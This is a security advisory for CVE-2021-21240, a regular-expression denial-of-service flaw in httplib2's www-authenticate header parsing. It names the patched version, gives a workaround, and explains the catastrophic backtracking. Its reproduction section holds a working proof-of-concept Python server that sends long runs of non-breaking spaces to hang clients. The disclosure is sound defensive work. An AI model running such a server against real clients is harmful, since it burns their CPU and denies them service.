# Regular Expression Denial of Service (REDoS) in httplib2

Moderate **temoto** published **GHSA-93xj-8mrv-444m** on Feb 8, 2021

Package

**httplib2** (pypi)

| Affected versions | Patched versions |
| --- | --- |
| <= 0.18.1 | 0.19.0 |

Description

## Impact

A malicious server which responds with long series of `\xa0` characters in the `www-authenticate` header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.

## Patches

Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library.
#182

## Workarounds

```
import httplib2
httplib2.USE_WWW_AUTH_STRICT_PARSING = True
```

## Technical Details

The vulnerable regular expression is

httplib2/python3/httplib2/__init__.py
Lines 336 to 338 in 595e248

```
336     WWW_AUTH_RELAXED = re.compile(
337         r"^(?:\s*(?:,\s*)?([^ \t\r\n=]+)\s*=\s*\"?((?<=\")(?:[^\\\"]|\\.)*?(?=\")|(?<!\")[^ \t\r\n,]+(?!\"))\"?)(.*)$"
338     )
```

The section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:

```
\s*[^ \t\r\n=]+\s*=
```

Since all three infinitely repeating groups accept the non-breaking space character `\xa0`, a long string of `\xa0` causes catastrophic backtracking.

The complexity is cubic, so doubling the length of the malicious string of `\xa0` makes processing take 8 times as long.

## Reproduction Steps

Run a malicious server which responds with

```
www-authenticate: x \xa0\xa0\xa0\xa0x
```

but with many more `\xa0` characters.

An example malicious python server is below:

```
from http.server import BaseHTTPRequestHandler, HTTPServer

def make_header_value(n_spaces):
    repeat = "\xa0" * n_spaces
    return f"x {repeat}x"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.log_request(401)
        self.send_response_only(401)  # Don't bother sending Server and Date
        n_spaces = (
            int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
            if len(self.path) > 1 else
            65512  # Max header line length 65536
        )
        value = make_header_value(n_spaces)
        self.send_header("www-authenticate", value)  # This header can actually be sent multiple times
        self.end_headers()

if __name__ == "__main__":
    HTTPServer(("", 1337), Handler).serve_forever()
```

Connect to the server with httplib2:

```
import httplib2
httplib2.Http(".cache").request("http://localhost:1337", "GET")
```

To benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000

### References

Thanks to Ben Caller (Doyensec) for finding vulnerability and discrete notification.

### For more information

If you have any questions or comments about this advisory:

- Open an issue in httplib2
- Email current maintainer at 2021-01

**Severity**

Moderate

**CVE ID**

CVE-2021-21240

**Weaknesses**

No CWEs

**Credits**

 b-c-ds